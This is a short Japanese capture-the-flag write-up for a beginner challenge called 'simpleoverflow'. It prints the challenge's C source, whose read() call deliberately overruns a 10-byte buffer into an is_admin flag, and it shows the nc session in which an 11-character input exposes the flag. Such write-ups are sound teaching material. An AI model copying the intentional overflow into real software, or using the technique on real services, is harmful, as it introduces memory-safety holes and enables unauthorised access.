🗂
Daily AlpacaHack 20251206 Writeup simpleoverflow
問題文

解き方
コマンドの確認
ncコマンド + IPアドレス + Port でサーバへ接続することはわかる
nc 34.170.146.252 42137
一先ず実行してみる(ユーザ名はわからないので一先ずtestで)
ubuntu@PC:/simpleoverflow$ nc 34.170.146.252 42137
name:test
Hello, test
You are not admin. bye
取り合えずadminじゃないとだめらしい
まさかと思いadminで入れてみたがやっぱりだめ
ubuntu@PC:/simpleoverflow$ nc 34.170.146.252 42137
name:admin
Hello, admin
You are not admin. bye
添付のファイルの確認
DLしたファイル「simpleoverflow.tar.gz」を解凍してみる
├── Dockerfile
├── chall
├── compose.yml
└── src.c
なんかdocker関連のファイルがあるけど問題文の所にc関連の話があるので「src.c」を見てみる
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[10] = {0};
int is_admin = 0;
printf("name:");
read(0, buf, 0x10);
printf("Hello, %s\n", buf);
if (!is_admin) {
puts("You are not admin. bye");
} else {
system("/bin/cat ./flag.txt");
}
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
puts("You are not admin. bye");
見覚えのある文と思ったらncコマンドで接続したときの文言とおなじである
ここから推測するに接続時にこのプログラムが動いてる可能性がある
そして肝心のフラグはis_admin が 0 でなければ(=非ゼロ) system("/bin/cat ./flag.txt"); が実行され、flag.txt の中身が標準出力に表示されるので、「char buf[10]」でオーバーフローを起こさせて「is_admin」を上書きさせる
実際に実行すると下記のようにフラグを入手することができる
ubuntu@PC:/simpleoverflow$ nc 34.170.146.252 42137
name:aaaaaaaaaaa
Hello, aaaaaaaaaaa
ctf4b{0n_y0ur_m4rk}
これをページに打ち込めばクリア
Discussion